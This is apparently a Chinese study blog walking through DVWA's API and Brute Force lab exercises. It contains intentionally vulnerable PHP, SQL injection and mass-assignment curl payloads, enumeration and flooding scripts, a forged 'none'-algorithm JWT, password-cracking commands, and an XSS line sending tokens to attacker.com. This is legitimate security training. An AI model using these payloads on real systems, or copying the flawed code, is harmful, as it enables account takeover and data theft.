tia的学习笔记

DVWA - API (应用程序接口) 攻防练习详解

2025-11-20T15:31:37.143Z

漏洞简介

什么是API安全漏洞？

API（Application Programming Interface）安全漏洞是指RESTful API、GraphQL API、SOAP API等接口中存在的安全问题，可能导致数据泄露、未授权访问或系统被攻击。

API的类型：

1. REST API

使用HTTP方法操作资源：

GET    /api/users/123      # 获取用户
POST   /api/users          # 创建用户
PUT    /api/users/123      # 更新用户
DELETE /api/users/123      # 删除用户

2. GraphQL API

使用查询语言获取数据：

query {
  user(id: 123) {
    name
    email
    posts {
      title
    }
  }
}

3. SOAP API

基于XML的协议：

<soap:Envelope>
  <soap:Body>
    <GetUser>
      <UserId>123UserId>
    GetUser>
  soap:Body>
soap:Envelope>

OWASP API Security Top 10 (2023)：

排名	漏洞	描述
API1	对象级别授权失效	访问他人数据
API2	认证机制失效	弱认证
API3	对象属性级别授权失效	修改敏感字段
API4	资源消耗无限制	DoS攻击
API5	功能级别授权失效	越权操作
API6	批量赋值	修改额外字段
API7	配置错误	暴露敏感信息
API8	注入攻击	SQL/NoSQL注入
API9	资产管理不当	旧版本API
API10	API日志和监控不足	无法检测攻击

危害：

数据泄露
未授权访问
账户接管
DoS攻击
业务逻辑绕过

DVWA场景：
一个用户管理的REST API，提供CRUD操作。

Low 难度

攻击目标

完全不验证权限，任何人都可以访问和修改任何数据。

后端代码分析



// ★★★ Low难度：完全没有认证和授权 ★★★

// 设置JSON响应头
header('Content-Type: application/json');

// 获取HTTP方法
$method = $_SERVER['REQUEST_METHOD'];

// 获取请求路径
$path = $_SERVER['PATH_INFO'] ?? '';

// ★★★ 危险操作1：不检查认证 ★★★
// 任何人都可以访问API
// 没有API密钥、Token或其他认证机制

// ★★★ 危险操作2：不检查授权 ★★★
// 没有验证用户是否有权限操作数据

// 路由：GET /api/users - 获取所有用户
if ($method == 'GET' && $path == '/users') {

    // ★★★ 问题：返回所有用户信息，包括敏感数据 ★★★
    $query = "SELECT * FROM users";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

    $users = [];
    while ($row = mysqli_fetch_assoc($result)) {
        // ★★★ 问题：返回密码哈希 ★★★
        $users[] = $row;
    }

    echo json_encode([
        'success' => true,
        'data' => $users
    ]);

// 路由：GET /api/users/{id} - 获取单个用户
} elseif ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];

    // ★★★ 问题：不检查是否有权查看该用户 ★★★
    $query = "SELECT * FROM users WHERE user_id = '$userId'";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

    if ($row = mysqli_fetch_assoc($result)) {
        echo json_encode([
            'success' => true,
            'data' => $row
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'User not found'
        ]);
    }

// 路由：POST /api/users - 创建用户
} elseif ($method == 'POST' && $path == '/users') {

    // ★★★ 问题：任何人都可以创建用户 ★★★
    // 没有限流，可以创建大量垃圾账户

    $input = json_decode(file_get_contents('php://input'), true);

    $username = $input['username'] ?? '';
    $password = $input['password'] ?? '';
    $email = $input['email'] ?? '';

    // ★★★ 问题：直接拼接SQL，存在SQL注入 ★★★
    $query = "INSERT INTO users (user, password, email) VALUES ('$username', '" . md5($password) . "', '$email')";

    if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
        echo json_encode([
            'success' => true,
            'message' => 'User created',
            'user_id' => mysqli_insert_id($GLOBALS["___mysqli_ston"])
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'Failed to create user'
        ]);
    }

// 路由：PUT /api/users/{id} - 更新用户
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];
    $input = json_decode(file_get_contents('php://input'), true);

    // ★★★ 问题：任何人都可以修改任何用户 ★★★
    // 没有验证是否是用户本人或管理员

    // ★★★ 问题：批量赋值漏洞 ★★★
    // 可以修改任意字段，包括role、is_admin等
    $fields = [];
    foreach ($input as $key => $value) {
        // ★★★ 问题：直接拼接，SQL注入 ★★★
        $fields[] = "$key = '$value'";
    }

    $query = "UPDATE users SET " . implode(', ', $fields) . " WHERE user_id = '$userId'";

    if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
        echo json_encode([
            'success' => true,
            'message' => 'User updated'
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'Failed to update user'
        ]);
    }

// 路由：DELETE /api/users/{id} - 删除用户
} elseif ($method == 'DELETE' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];

    // ★★★ 问题：任何人都可以删除任何用户 ★★★
    $query = "DELETE FROM users WHERE user_id = '$userId'";

    if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
        echo json_encode([
            'success' => true,
            'message' => 'User deleted'
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'Failed to delete user'
        ]);
    }

} else {
    // 404
    http_response_code(404);
    echo json_encode([
        'success' => false,
        'error' => 'Endpoint not found'
    ]);
}

?>

漏洞分析

核心问题：

无认证 - 任何人都可以访问
无授权 - 不检查权限
SQL注入 - 直接拼接SQL
批量赋值 - 可修改任意字段
敏感信息泄露 - 返回密码哈希
无限流 - 可以DoS攻击
详细错误信息 - 泄露系统信息

攻击步骤

步骤1：API枚举

发现API端点：

# 使用curl测试
curl -X GET http://dvwa.local/api/users
curl -X GET http://dvwa.local/api/users/1
curl -X POST http://dvwa.local/api/users
curl -X PUT http://dvwa.local/api/users/1
curl -X DELETE http://dvwa.local/api/users/1

# 使用Postman或Insomnia测试

使用工具发现API：

# 使用gobuster
gobuster dir -u http://dvwa.local/api/ \
             -w /usr/share/wordlists/api-endpoints.txt

# 使用ffuf
ffuf -u http://dvwa.local/api/FUZZ \
     -w /usr/share/wordlists/api-endpoints.txt

步骤2：数据枚举

获取所有用户：

1	curl -X GET http://dvwa.local/api/users

响应：

{
  "success": true,
  "data": [
    {
      "user_id": "1",
      "user": "admin",
      "password": "5f4dcc3b5aa765d61d8327deb882cf99",
      "first_name": "admin",
      "last_name": "admin",
      "email": "admin@example.com"
    },
    {
      "user_id": "2",
      "user": "user1",
      "password": "098f6bcd4621d373cade4e832627b4f6",
      "email": "user1@example.com"
    }
  ]
}

枚举用户ID：

import requests

base_url = "http://dvwa.local/api/users"

print("[*] Enumerating users...")

for user_id in range(1, 100):
    response = requests.get(f"{base_url}/{user_id}")

    if response.status_code == 200:
        data = response.json()
        if data.get('success'):
            user = data.get('data', {})
            print(f"[+] Found user {user_id}: {user.get('user')}")
            print(f"    Email: {user.get('email')}")
            print(f"    Password hash: {user.get('password')}")

步骤3：未授权访问

查看其他用户数据：

# 查看admin用户
curl -X GET http://dvwa.local/api/users/1

# 结果：可以看到admin的所有信息，包括密码哈希

步骤4：SQL注入

在用户名中注入：

# SQL注入payload
curl -X POST http://dvwa.local/api/users \
     -H "Content-Type: application/json" \
     -d '{
       "username": "admin'\'' OR '\''1'\''='\''1",
       "password": "password",
       "email": "test@example.com"
     }'

# 或使用UNION注入
curl -X POST http://dvwa.local/api/users \
     -H "Content-Type: application/json" \
     -d '{
       "username": "test'\'' UNION SELECT * FROM admin_table --",
       "password": "password",
       "email": "test@example.com"
     }'

步骤5：批量赋值攻击

修改用户角色：

# 提升普通用户为管理员
curl -X PUT http://dvwa.local/api/users/5 \
     -H "Content-Type: application/json" \
     -d '{
       "user": "hacker",
       "role": "admin",
       "is_admin": 1,
       "privileges": "all"
     }'

# 结果：成功修改role和is_admin字段

步骤6：删除用户

# 删除管理员账户
curl -X DELETE http://dvwa.local/api/users/1

# 结果：管理员账户被删除

步骤7：DoS攻击

创建大量用户：

import requests
import concurrent.futures

base_url = "http://dvwa.local/api/users"

def create_fake_user(i):
    data = {
        'username': f'fake_user_{i}',
        'password': 'password',
        'email': f'fake_{i}@example.com'
    }
    response = requests.post(base_url, json=data)
    return response.status_code

# 使用多线程创建1000个用户
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    futures = [executor.submit(create_fake_user, i) for i in range(1000)]

    for future in concurrent.futures.as_completed(futures):
        print(f"Created user: {future.result()}")

Medium 难度

攻击目标

添加了简单的API密钥认证，但仍有漏洞。

后端代码分析



header('Content-Type: application/json');

// ★★★ 新增：API密钥认证 ★★★
// 从请求头获取API密钥
// X-API-Key - 自定义请求头
$apiKey = $_SERVER['HTTP_X_API_KEY'] ?? '';

// ★★★ 问题：硬编码的API密钥 ★★★
// 密钥写死在代码中
// 而且只有一个密钥，所有用户共享
$validApiKey = 'dvwa_api_key_12345';

// ★★★ 验证API密钥 ★★★
if ($apiKey !== $validApiKey) {
    http_response_code(401);
    echo json_encode([
        'success' => false,
        'error' => 'Invalid API key'
    ]);
    exit;
}

// ★★★ 新增：简单的限流 ★★★
// 但实现有问题
function check_rate_limit($api_key) {
    // 使用文件存储请求计数
    $file = "/tmp/api_rate_limit_$api_key.txt";

    // ★★★ 问题：文件锁不安全 ★★★
    if (file_exists($file)) {
        $data = json_decode(file_get_contents($file), true);

        // 检查过去60秒的请求数
        if (time() - $data['timestamp'] < 60) {
            if ($data['count'] >= 100) {
                return false; // 超过限制
            }
            $data['count']++;
        } else {
            // 重置计数
            $data = ['timestamp' => time(), 'count' => 1];
        }
    } else {
        $data = ['timestamp' => time(), 'count' => 1];
    }

    file_put_contents($file, json_encode($data));
    return true;
}

if (!check_rate_limit($apiKey)) {
    http_response_code(429);
    echo json_encode([
        'success' => false,
        'error' => 'Rate limit exceeded'
    ]);
    exit;
}

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// ★★★ 新增：使用PDO预编译 ★★★
// 防止SQL注入
global $db; // PDO连接

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];

    // ★★★ 改进：使用PDO预编译 ★★★
    $stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id');
    $stmt->bindParam(':id', $userId, PDO::PARAM_INT);
    $stmt->execute();

    $user = $stmt->fetch(PDO::FETCH_ASSOC);

    if ($user) {
        // ★★★ 改进：不返回密码哈希 ★★★
        echo json_encode([
            'success' => true,
            'data' => $user
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'User not found'
        ]);
    }

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];
    $input = json_decode(file_get_contents('php://input'), true);

    // ★★★ 问题：仍然没有授权检查 ★★★
    // 任何有API密钥的人都可以修改任何用户

    // ★★★ 改进：字段白名单 ★★★
    // 只允许修改特定字段
    $allowedFields = ['first_name', 'last_name', 'email'];

    $updates = [];
    $params = [':id' => $userId];

    foreach ($input as $key => $value) {
        if (in_array($key, $allowedFields)) {
            $updates[] = "$key = :$key";
            $params[":$key"] = $value;
        }
    }

    if (empty($updates)) {
        echo json_encode([
            'success' => false,
            'error' => 'No valid fields to update'
        ]);
        exit;
    }

    $query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
    $stmt = $db->prepare($query);

    if ($stmt->execute($params)) {
        echo json_encode([
            'success' => true,
            'message' => 'User updated'
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'Failed to update user'
        ]);
    }

} else {
    http_response_code(404);
    echo json_encode([
        'success' => false,
        'error' => 'Endpoint not found'
    ]);
}

?>

新增防护

API密钥认证 - 需要密钥才能访问
限流机制 - 防止DoS攻击
PDO预编译 - 防止SQL注入
字段白名单 - 限制可修改字段
不返回密码 - 敏感信息保护

仍存在的漏洞

核心问题：

硬编码API密钥 - 所有用户共享
无授权检查 - 有密钥就能操作所有数据
限流实现弱 - 文件锁不安全
无用户上下文 - 不知道谁在操作

绕过方法

方法1：获取API密钥

从客户端代码获取：

// 如果前端代码中硬编码了API密钥
const API_KEY = 'dvwa_api_key_12345';

fetch('/api/users/1', {
    headers: {
        'X-API-Key': API_KEY
    }
});

// 查看浏览器开发者工具 → Network → Headers
// 可以看到X-API-Key

从文档获取：

1
2
3

# 如果API文档公开
curl -X GET http://dvwa.local/api/users/1 \
     -H "X-API-Key: dvwa_api_key_12345"

方法2：绕过限流

使用多个API密钥（如果有）：

api_keys = ['key1', 'key2', 'key3']

for i in range(1000):
    key = api_keys[i % len(api_keys)]
    requests.get(url, headers={'X-API-Key': key})

竞态条件：

# 同时发送多个请求
import threading

def make_request():
    requests.get(url, headers={'X-API-Key': api_key})

threads = []
for i in range(200):
    t = threading.Thread(target=make_request)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

方法3：越权访问

# 修改其他用户数据（有密钥即可）
curl -X PUT http://dvwa.local/api/users/1 \
     -H "X-API-Key: dvwa_api_key_12345" \
     -H "Content-Type: application/json" \
     -d '{"email": "hacked@evil.com"}'

# 结果：成功修改admin的邮箱

High 难度

攻击目标

使用JWT Token和更严格的权限检查，但仍有绕过可能。

后端代码分析



header('Content-Type: application/json');

// ★★★ 新增：JWT Token认证 ★★★
// 从Authorization头获取Token
// Bearer token格式
$authHeader = $_SERVER['HTTP_AUTHORIZATION'] ?? '';

if (!preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
    http_response_code(401);
    echo json_encode([
        'success' => false,
        'error' => 'Missing or invalid authorization header'
    ]);
    exit;
}

$token = $matches[1];

// ★★★ JWT验证 ★★★
function verify_jwt($token) {
    // JWT格式：header.payload.signature

    $parts = explode('.', $token);

    if (count($parts) !== 3) {
        return false;
    }

    list($header_b64, $payload_b64, $signature_b64) = $parts;

    // ★★★ 问题：密钥硬编码 ★★★
    $secret = 'my_jwt_secret_key';

    // 验证签名
    $signature_check = hash_hmac(
        'sha256',
        $header_b64 . '.' . $payload_b64,
        $secret,
        true
    );

    $signature_check_b64 = rtrim(strtr(base64_encode($signature_check), '+/', '-_'), '=');

    if ($signature_check_b64 !== $signature_b64) {
        return false;
    }

    // 解码payload
    $payload = json_decode(base64_decode(strtr($payload_b64, '-_', '+/')), true);

    // ★★★ 改进：检查过期时间 ★★★
    if (isset($payload['exp']) && $payload['exp'] < time()) {
        return false; // Token已过期
    }

    return $payload;
}

$payload = verify_jwt($token);

if (!$payload) {
    http_response_code(401);
    echo json_encode([
        'success' => false,
        'error' => 'Invalid or expired token'
    ]);
    exit;
}

// 从payload获取用户信息
$currentUserId = $payload['user_id'];
$currentUserRole = $payload['role'];

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];

    // ★★★ 改进：权限检查 ★★★
    // 普通用户只能查看自己
    // 管理员可以查看所有用户
    if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
        http_response_code(403);
        echo json_encode([
            'success' => false,
            'error' => 'Forbidden: You can only view your own data'
        ]);
        exit;
    }

    // 查询用户
    $stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email, role FROM users WHERE user_id = :id');
    $stmt->bindParam(':id', $userId, PDO::PARAM_INT);
    $stmt->execute();

    $user = $stmt->fetch(PDO::FETCH_ASSOC);

    if ($user) {
        echo json_encode([
            'success' => true,
            'data' => $user
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'User not found'
        ]);
    }

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];
    $input = json_decode(file_get_contents('php://input'), true);

    // ★★★ 权限检查 ★★★
    if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
        http_response_code(403);
        echo json_encode([
            'success' => false,
            'error' => 'Forbidden: You can only update your own data'
        ]);
        exit;
    }

    // ★★★ 字段白名单（根据角色） ★★★
    $allowedFields = ['first_name', 'last_name', 'email'];

    // ★★★ 问题：管理员可以修改role ★★★
    // 但没有检查是否在修改自己的role
    if ($currentUserRole === 'admin') {
        $allowedFields[] = 'role';
    }

    $updates = [];
    $params = [':id' => $userId];

    foreach ($input as $key => $value) {
        if (in_array($key, $allowedFields)) {
            $updates[] = "$key = :$key";
            $params[":$key"] = $value;
        }
    }

    if (empty($updates)) {
        echo json_encode([
            'success' => false,
            'error' => 'No valid fields to update'
        ]);
        exit;
    }

    $query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
    $stmt = $db->prepare($query);

    if ($stmt->execute($params)) {
        echo json_encode([
            'success' => true,
            'message' => 'User updated'
        ]);
    } else {
        echo json_encode([
            'success' => false,
            'error' => 'Failed to update user'
        ]);
    }

} else {
    http_response_code(404);
    echo json_encode([
        'success' => false,
        'error' => 'Endpoint not found'
    ]);
}

?>

新增防护

JWT Token认证 - 基于Token的认证
Token过期 - 限制Token有效期
角色授权 - 根据角色限制访问
资源所有权 - 只能访问自己的数据

仍存在的漏洞

核心问题：

JWT密钥硬编码 - 可能被获取
算法混淆攻击 - none算法绕过
权限检查逻辑漏洞 - 管理员可以修改自己为超级管理员

绕过方法

方法1：JWT算法混淆攻击

None算法攻击：

import base64
import json

# 创建header（指定算法为none）
header = {
    "alg": "none",
    "typ": "JWT"
}

# 创建payload
payload = {
    "user_id": 1,
    "role": "admin",
    "exp": 9999999999
}

# Base64编码
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

# 构造Token（无签名）
fake_token = f"{header_b64}.{payload_b64}."

print(f"Fake token: {fake_token}")

# 使用这个Token访问API

方法2：暴力破解JWT密钥

# 使用jwt_tool
python3 jwt_tool.py  -C -d /usr/share/wordlists/rockyou.txt

# 或使用hashcat
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

方法3：Token劫持

// 如果Token存储在localStorage
console.log(localStorage.getItem('jwt_token'));

// 通过XSS窃取Token
fetch('http://attacker.com/steal?token=' + localStorage.getItem('jwt_token'));

Impossible 难度

攻击目标

完善的API安全，真正安全。

后端代码分析



header('Content-Type: application/json');

// ★★★ Impossible: 完善的API安全 ★★★

// ★★★ 核心防护1：OAuth 2.0认证 ★★★
// 使用标准的OAuth 2.0协议
// 从Authorization头获取Access Token
$authHeader = $_SERVER['HTTP_AUTHORIZATION'] ?? '';

if (!preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
    http_response_code(401);
    echo json_encode([
        'success' => false,
        'error' => 'Missing or invalid authorization header'
    ]);
    exit;
}

$accessToken = $matches[1];

// ★★★ 验证Access Token ★★★
// 通过OAuth 2.0服务器验证Token
function verify_access_token($token) {
    // 调用OAuth 2.0服务器的introspection endpoint
    $oauth_server = 'https://oauth.example.com/introspect';

    $response = file_get_contents($oauth_server, false, stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => http_build_query(['token' => $token])
        ]
    ]));

    $data = json_decode($response, true);

    // 检查Token是否有效
    if (!$data['active']) {
        return false;
    }

    return $data;
}

$tokenData = verify_access_token($accessToken);

if (!$tokenData) {
    http_response_code(401);
    echo json_encode([
        'success' => false,
        'error' => 'Invalid or expired access token'
    ]);
    exit;
}

$currentUserId = $tokenData['user_id'];
$currentUserRole = $tokenData['role'];
$scopes = $tokenData['scope'] ?? [];

// ★★★ 核心防护2：基于Scope的权限 ★★★
// 检查Token是否有所需的权限范围
function has_scope($required_scope, $token_scopes) {
    return in_array($required_scope, $token_scopes);
}

// ★★★ 核心防护3：严格的限流 ★★★
// 使用Redis实现分布式限流
function check_rate_limit_redis($user_id) {
    $redis = new Redis();
    $redis->connect('127.0.0.1', 6379);

    $key = "api_rate_limit:user:$user_id";

    // 滑动窗口限流
    $current = time();
    $window = 60; // 60秒窗口
    $limit = 100; // 最多100次请求

    // 移除窗口外的请求
    $redis->zRemRangeByScore($key, 0, $current - $window);

    // 获取当前窗口内的请求数
    $count = $redis->zCard($key);

    if ($count >= $limit) {
        return false;
    }

    // 记录当前请求
    $redis->zAdd($key, $current, uniqid());
    $redis->expire($key, $window);

    return true;
}

if (!check_rate_limit_redis($currentUserId)) {
    http_response_code(429);
    echo json_encode([
        'success' => false,
        'error' => 'Rate limit exceeded',
        'retry_after' => 60
    ]);
    exit;
}

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];

    // ★★★ 核心防护4：Scope检查 ★★★
    if (!has_scope('users:read', $scopes)) {
        http_response_code(403);
        echo json_encode([
            'success' => false,
            'error' => 'Insufficient permissions: users:read scope required'
        ]);
        exit;
    }

    // ★★★ 核心防护5：严格的授权检查 ★★★
    if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
        http_response_code(403);
        echo json_encode([
            'success' => false,
            'error' => 'Forbidden: You can only view your own data'
        ]);

        // ★★★ 记录未授权访问尝试 ★★★
        logSecurityEvent('Unauthorized API access', [
            'user_id' => $currentUserId,
            'target_user_id' => $userId,
            'endpoint' => $path,
            'method' => $method,
            'ip' => $_SERVER['REMOTE_ADDR']
        ]);

        exit;
    }

    // 查询用户（只返回必要字段）
    $stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id');
    $stmt->bindParam(':id', $userId, PDO::PARAM_INT);
    $stmt->execute();

    $user = $stmt->fetch(PDO::FETCH_ASSOC);

    if ($user) {
        // ★★★ 记录API访问 ★★★
        logAPIAccess($currentUserId, 'GET', $path, 200);

        echo json_encode([
            'success' => true,
            'data' => $user
        ]);
    } else {
        http_response_code(404);
        echo json_encode([
            'success' => false,
            'error' => 'User not found'
        ]);
    }

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

    $userId = $matches[1];
    $input = json_decode(file_get_contents('php://input'), true);

    // ★★★ Scope检查 ★★★
    if (!has_scope('users:write', $scopes)) {
        http_response_code(403);
        echo json_encode([
            'success' => false,
            'error' => 'Insufficient permissions: users:write scope required'
        ]);
        exit;
    }

    // ★★★ 授权检查 ★★★
    if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
        http_response_code(403);
        echo json_encode([
            'success' => false,
            'error' => 'Forbidden: You can only update your own data'
        ]);
        exit;
    }

    // ★★★ 输入验证 ★★★
    $allowedFields = ['first_name', 'last_name', 'email'];

    // ★★★ 管理员也不能修改role（需要特殊权限） ★★★
    if ($currentUserRole === 'admin' && has_scope('users:admin', $scopes)) {
        $allowedFields[] = 'role';
    }

    $updates = [];
    $params = [':id' => $userId];

    foreach ($input as $key => $value) {
        if (in_array($key, $allowedFields)) {
            // ★★★ 额外验证 ★★★
            if ($key === 'email' && !filter_var($value, FILTER_VALIDATE_EMAIL)) {
                http_response_code(400);
                echo json_encode([
                    'success' => false,
                    'error' => 'Invalid email format'
                ]);
                exit;
            }

            $updates[] = "$key = :$key";
            $params[":$key"] = $value;
        }
    }

    if (empty($updates)) {
        http_response_code(400);
        echo json_encode([
            'success' => false,
            'error' => 'No valid fields to update'
        ]);
        exit;
    }

    $query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
    $stmt = $db->prepare($query);

    if ($stmt->execute($params)) {
        logAPIAccess($currentUserId, 'PUT', $path, 200);

        echo json_encode([
            'success' => true,
            'message' => 'User updated'
        ]);
    } else {
        http_response_code(500);
        echo json_encode([
            'success' => false,
            'error' => 'Failed to update user'
        ]);
    }

} else {
    http_response_code(404);
    echo json_encode([
        'success' => false,
        'error' => 'Endpoint not found'
    ]);
}

?>

完善的防护机制

多层防御：

OAuth 2.0认证 - 标准认证协议
Scope权限 - 细粒度权限控制
分布式限流 - Redis滑动窗口
严格授权 - 每个操作都检查
输入验证 - 验证所有输入
审计日志 - 记录所有操作
错误不泄露 - 统一错误信息
PDO预编译 - 防止SQL注入

安全流程：

API请求
    ↓
1. 验证OAuth Access Token
    ↓
2. 检查Token是否有效
    ↓
3. 检查Scope权限
    ↓
4. 检查限流
    ↓
5. 验证资源所有权
    ↓
6. 验证输入
    ↓
7. 执行操作
    ↓
8. 记录审计日志
    ↓
9. 返回响应

为什么无法攻破？

所有攻击都失败：

攻击1：无Token访问
结果：401 Unauthorized

攻击2：伪造Token
OAuth服务器验证 → 失败 → 拒绝

攻击3：越权访问
Scope检查 + 所有权检查 → 拒绝

攻击4：批量赋值
字段白名单 → 只允许特定字段

攻击5：DoS攻击
Redis限流 → 超过限制 → 429 Too Many Requests

攻击6：SQL注入
PDO预编译 → 无法注入

防御建议

认证和授权

// ✅ 使用OAuth 2.0或OpenID Connect
// ✅ 使用JWT但签名验证严格
// ✅ 使用Scope控制细粒度权限
// ✅ 每个endpoint都检查权限

// ❌ 不要：
// - 硬编码API密钥
// - 使用简单的API密钥认证
// - 不检查授权

限流和DoS防护

// 使用Redis限流
function rate_limit($user_id, $limit, $window) {
    $redis = new Redis();
    $redis->connect('127.0.0.1', 6379);

    $key = "rate:$user_id";
    $current = $redis->incr($key);

    if ($current == 1) {
        $redis->expire($key, $window);
    }

    return $current <= $limit;
}

输入验证

// 验证所有输入
function validate_user_input($data) {
    $errors = [];

    if (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
        $errors[] = 'Invalid email';
    }

    if (strlen($data['username']) < 3) {
        $errors[] = 'Username too short';
    }

    return $errors;
}

审计日志

function log_api_access($user_id, $method, $path, $status) {
    $log = [
        'timestamp' => date('Y-m-d H:i:s'),
        'user_id' => $user_id,
        'method' => $method,
        'path' => $path,
        'status' => $status,
        'ip' => $_SERVER['REMOTE_ADDR']
    ];

    file_put_contents(
        '/var/log/api_access.log',
        json_encode($log) . "\n",
        FILE_APPEND
    );
}

总结对比

特性	Low	Medium	High	Impossible
认证	❌ 无	API密钥	JWT	OAuth 2.0
授权	❌ 无	❌ 无	基于角色	Scope+角色
限流	❌	简单文件	❌	Redis分布式
SQL注入防护	❌	✅ PDO	✅ PDO	✅ PDO
批量赋值防护	❌	白名单	白名单	严格白名单
审计日志	❌	❌	❌	✅ 完善
敏感信息	泄露	部分保护	保护	完全保护
攻击难度	极易	简单	中等	极难

实战建议

渗透测试清单：

✅ 发现所有API端点
✅ 测试无认证访问
✅ 枚举用户ID
✅ 测试越权访问
✅ 测试批量赋值
✅ 测试SQL注入
✅ 测试限流
✅ JWT破解

防御清单：

✅ 使用OAuth 2.0
✅ 实施Scope权限
✅ 严格授权检查
✅ 分布式限流
✅ 输入验证
✅ 完善审计日志
✅ API版本管理
✅ 使用API网关

道德准则：

只在授权环境测试
不攻击真实API
学习是为了构建安全API

DVWA - Brute Force (暴力破解) 攻防练习详解

2025-11-20T15:31:37.143Z

漏洞简介

什么是暴力破解（Brute Force）？

暴力破解是一种试错方法，攻击者通过系统地尝试所有可能的密码组合来获取访问权限。

常见场景：

登录表单
管理后台
API密钥
加密文件

危害：

未授权访问账户
数据泄露
权限提升
系统接管

Low 难度

攻击目标

无任何防护的登录表单，可直接暴力破解。

后端代码分析



// 检查是否提交了登录请求
// isset() - 检查变量是否已设置且非NULL
// $_GET - 超全局变量，获取URL中的GET参数
if( isset( $_GET[ 'Login' ] ) ) {
    // 从URL参数获取用户名
    // 例如：?username=admin&password=test&Login=Login
    $user = $_GET[ 'username' ];

    // 从URL参数获取密码并进行MD5哈希
    // md5() - 将字符串转换为32位十六进制MD5哈希值
    // 注意：MD5是单向加密，不可逆
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // 构建SQL查询语句
    // 这里直接拼接变量到SQL语句中，存在SQL注入漏洞！
    // ` ` - 反引号用于包裹表名和列名（MySQL语法）
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

    // 执行SQL查询
    // mysql_query() - 执行MySQL查询（已废弃，不安全）
    // or die() - 如果查询失败则输出错误并终止
    // mysql_error() - 返回上一个MySQL操作的错误信息
    $result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

    // 检查是否找到匹配的用户
    // mysql_num_rows() - 返回结果集中的行数
    if( $result && mysql_num_rows( $result ) == 1 ) {
        // 登录成功

        // 获取查询结果的一行数据
        // mysql_fetch_assoc() - 将结果行作为关联数组返回
        $row    = mysql_fetch_assoc( $result );

        // 从数组中获取avatar字段的值
        $avatar = $row["avatar"];

        // 输出欢迎信息
        // {$user} - 在双引号字符串中插入变量值
        $html .= "Welcome to the password protected area {$user}
";

        // 输出用户头像
        //  - HTML图片标签
        $html .= "{$avatar}\" />";
    }
    else {
        // 登录失败
        //  - HTML预格式化文本标签
        // 
 - HTML换行标签
        $html .= "
Username and/or password incorrect.
";
    }

    // 关闭MySQL连接
    mysql_close();
}

?>

漏洞分析

存在的安全问题：

使用GET请求 - 密码明文显示在URL中，会被浏览器历史、代理服务器记录
无输入验证 - 直接使用用户输入
SQL注入漏洞 - 直接拼接SQL语句
无防护机制 - 没有任何限制：
- 无登录尝试次数限制
- 无验证码
- 无延迟
- 无账户锁定
- 无IP黑名单
错误信息详细 - SQL错误会直接显示

攻击步骤

方法1：使用Burp Suite Intruder

步骤1：抓取登录请求

打开Burp Suite，开启代理
浏览器访问 http://dvwa.local/dvwa/vulnerabilities/brute/
尝试登录（例如：admin / test）
在Burp Suite的Proxy → HTTP history中找到请求

步骤2：发送到Intruder

右键点击请求 → Send to Intruder
进入Intruder → Positions标签

步骤3：配置攻击位置

1 2	GET /dvwa/vulnerabilities/brute/?username=§admin§&password=§test§&Login=Login HTTP/1.1 Host: dvwa.local

点击 Clear § 清除所有标记
Attack type 选择 Cluster bomb（组合攻击）
标记username和password参数

步骤4：配置Payload

Payload set 1（用户名）：

admin
root
user
test

Payload set 2（密码）：

password
123456
admin
12345678
qwerty
abc123
letmein

